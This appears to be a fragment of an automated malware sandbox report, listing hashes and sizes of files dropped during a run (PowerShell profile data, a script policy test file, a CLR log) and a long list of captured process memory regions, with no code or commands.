8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7661d0b4dc733b10a8f401452d63128d

SHA1
b374bb6f3860ac70574f282738c7f456fbe2c33d

SHA256
f6f4442564ab77163d4d1ffffc74c3d714102979ee9e075c5235174c6e5761db

SHA512
788fad8d0684cccc776c41203df09335977cc67ed2e58c6d785eef9d38a33c1fa30d64360a88ff3d4603fa8dfe0f080e2279987c1e556db53d2bb8a38c047d0d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ruhexqrf.nkp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
7b1fe6890101f73a0c9796d8d585b168

SHA1
56eb99ee341b880cf7a80ebc705371aea87b3743

SHA256
93ea56ad38069dbc3d1ae192afd3f3dc8704e9298752f73729b95cf3298dcaca

SHA512
fe73cccfadc916f613fbcc7a80ec82ae1228ea2aa28bba4515851e82463e76942ff3a3d6bcc78ea666a841d89220fb49b8fa52279985e88fe0aec6728f21aefa

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2722730a0cf82161fb1452b600334796

SHA1
4479415f50cd9ab55c4f7bcdc1a0a5177492f053

SHA256
a44ba59eb52b4d6555065fa840ac7162080eb538e6b6a47198fe4961d0297833

SHA512
54ec97b79003db56fb1ca44b33a1c2a9748014a3c1dc84fdb2afca84d3c6618ad88ccb353d52078789e3e0ed0ee6c763a74bf34cea1334e427a264db9171dfb0

Download Submit
memory/1500-13-0x000001D6D0C60000-0x000001D6D0C70000-memory.dmp

Filesize
64KB

Download
memory/1500-12-0x000001D6D0C60000-0x000001D6D0C70000-memory.dmp

Filesize
64KB

Download
memory/1500-16-0x00007FFDAB060000-0x00007FFDABB21000-memory.dmp

Filesize
10.8MB

Download
memory/1500-11-0x00007FFDAB060000-0x00007FFDABB21000-memory.dmp

Filesize
10.8MB

Download
memory/1500-10-0x000001D6D0C10000-0x000001D6D0C32000-memory.dmp

Filesize
136KB

Download
memory/1868-76-0x000001BA2F120000-0x000001BA2F13C000-memory.dmp

Filesize
112KB

Download
memory/1868-61-0x00007FFDAB060000-0x00007FFDABB21000-memory.dmp

Filesize
10.8MB

Download
memory/1868-85-0x00007FFDAB060000-0x00007FFDABB21000-memory.dmp

Filesize
10.8MB

Download
memory/1868-78-0x000001BA2F160000-0x000001BA2F17A000-memory.dmp

Filesize
104KB

Download
memory/1868-82-0x000001BA144C0000-0x000001BA144D0000-memory.dmp

Filesize
64KB

Download
memory/1868-77-0x000001BA2F100000-0x000001BA2F10A000-memory.dmp

Filesize
40KB

Download
memory/1868-80-0x000001BA2F140000-0x000001BA2F146000-memory.dmp

Filesize
24KB

Download
memory/1868-79-0x000001BA2F110000-0x000001BA2F118000-memory.dmp

Filesize
32KB

Download
memory/1868-73-0x000001BA2EED0000-0x000001BA2EEEC000-memory.dmp

Filesize
112KB

Download
memory/1868-74-0x000001BA2EEF0000-0x000001BA2EFA5000-memory.dmp

Filesize
724KB

Download
memory/1868-75-0x000001BA2EFB0000-0x000001BA2EFBA000-memory.dmp

Filesize
40KB

Download
memory/1868-72-0x000001BA144C0000-0x000001BA144D0000-memory.dmp

Filesize
64KB

Download
memory/1868-63-0x00007FF42E8B0000-0x00007FF42E8C0000-memory.dmp

Filesize
64KB

Download
memory/1868-81-0x000001BA2F150000-0x000001BA2F15A000-memory.dmp

Filesize
40KB

Download
memory/3644-0-0x00007FF6AD9C0000-0x00007FF6ADBD1000-memory.dmp

Filesize
2.1MB

Download
memory/3644-35-0x00007FF6AD9C0000-0x00007FF6ADBD1000-memory.dmp

Filesize
2.1MB

Download
memory/4148-122-0x00007FF743620000-0x00007FF743636000-memory.dmp

Filesize
88KB

Download
memory/4148-133-0x00007FF743620000-0x00007FF743636000-memory.dmp

Filesize
88KB

Download
memory/4176-51-0x00007FF626460000-0x00007FF626671000-memory.dmp

Filesize
2.1MB

Download
memory/4176-115-0x00007FF626460000-0x00007FF626671000-memory.dmp

Filesize
2.1MB

Download
memory/4252-116-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-136-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-188-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-186-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-184-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-182-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-180-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-178-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-120-0x00000229D0FE0000-0x00000229D1000000-memory.dmp

Filesize
128KB

Download
memory/4252-176-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-174-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-172-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-170-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-121-0x00000229D1500000-0x00000229D1520000-memory.dmp

Filesize
128KB

Download
memory/4252-168-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-123-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-124-0x00000229D1520000-0x00000229D1540000-memory.dmp

Filesize
128KB

Download
memory/4252-125-0x00000229D1540000-0x00000229D1560000-memory.dmp

Filesize
128KB

Download
memory/4252-126-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-128-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-130-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-131-0x00000229D1520000-0x00000229D1540000-memory.dmp

Filesize
128KB

Download
memory/4252-132-0x00000229D1540000-0x00000229D1560000-memory.dmp

Filesize
128KB

Download
memory/4252-166-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-134-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-164-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-138-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-140-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-142-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-144-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-146-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-148-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-154-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-156-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-158-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-160-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4252-162-0x00007FF663E50000-0x00007FF664644000-memory.dmp

Filesize
8.0MB

Download
memory/4272-50-0x00007FFDAB060000-0x00007FFDABB21000-memory.dmp

Filesize
10.8MB

Download
memory/4272-46-0x0000024AA7F80000-0x0000024AA7F90000-memory.dmp

Filesize
64KB

Download
memory/4272-45-0x00007FFDAB060000-0x00007FFDABB21000-memory.dmp

Filesize
10.8MB

Download
memory/4292-33-0x00007FFDAB060000-0x00007FFDABB21000-memory.dmp

Filesize
10.8MB

Download
memory/4292-30-0x000001C7B9250000-0x000001C7B9260000-memory.dmp

Filesize
64KB

Download
memory/4292-31-0x000001C7B9250000-0x000001C7B9260000-memory.dmp

Filesize
64KB

Download
memory/4292-29-0x000001C7B9250000-0x000001C7B9260000-memory.dmp

Filesize
64KB

Download
memory/4292-28-0x00007FFDAB060000-0x00007FFDABB21000-memory.dmp

Filesize
10.8MB

Download
memory/4556-111-0x00007FFDAB060000-0x00007FFDABB21000-memory.dmp

Filesize
10.8MB

Download
memory/4556-109-0x0000023D6F0B0000-0x0000023D6F0C0000-memory.dmp

Filesize
64KB

Download
memory/4556-98-0x0000023D6F0B0000-0x0000023D6F0C0000-memory.dmp

Filesize
64KB

Download
memory/4556-99-0x0000023D6F0B0000-0x0000023D6F0C0000-memory.dmp

Filesize
64KB

Download
memory/4556-97-0x00007FFDAB060000-0x00007FFDABB21000-memory.dmp

Filesize
10.8MB

Download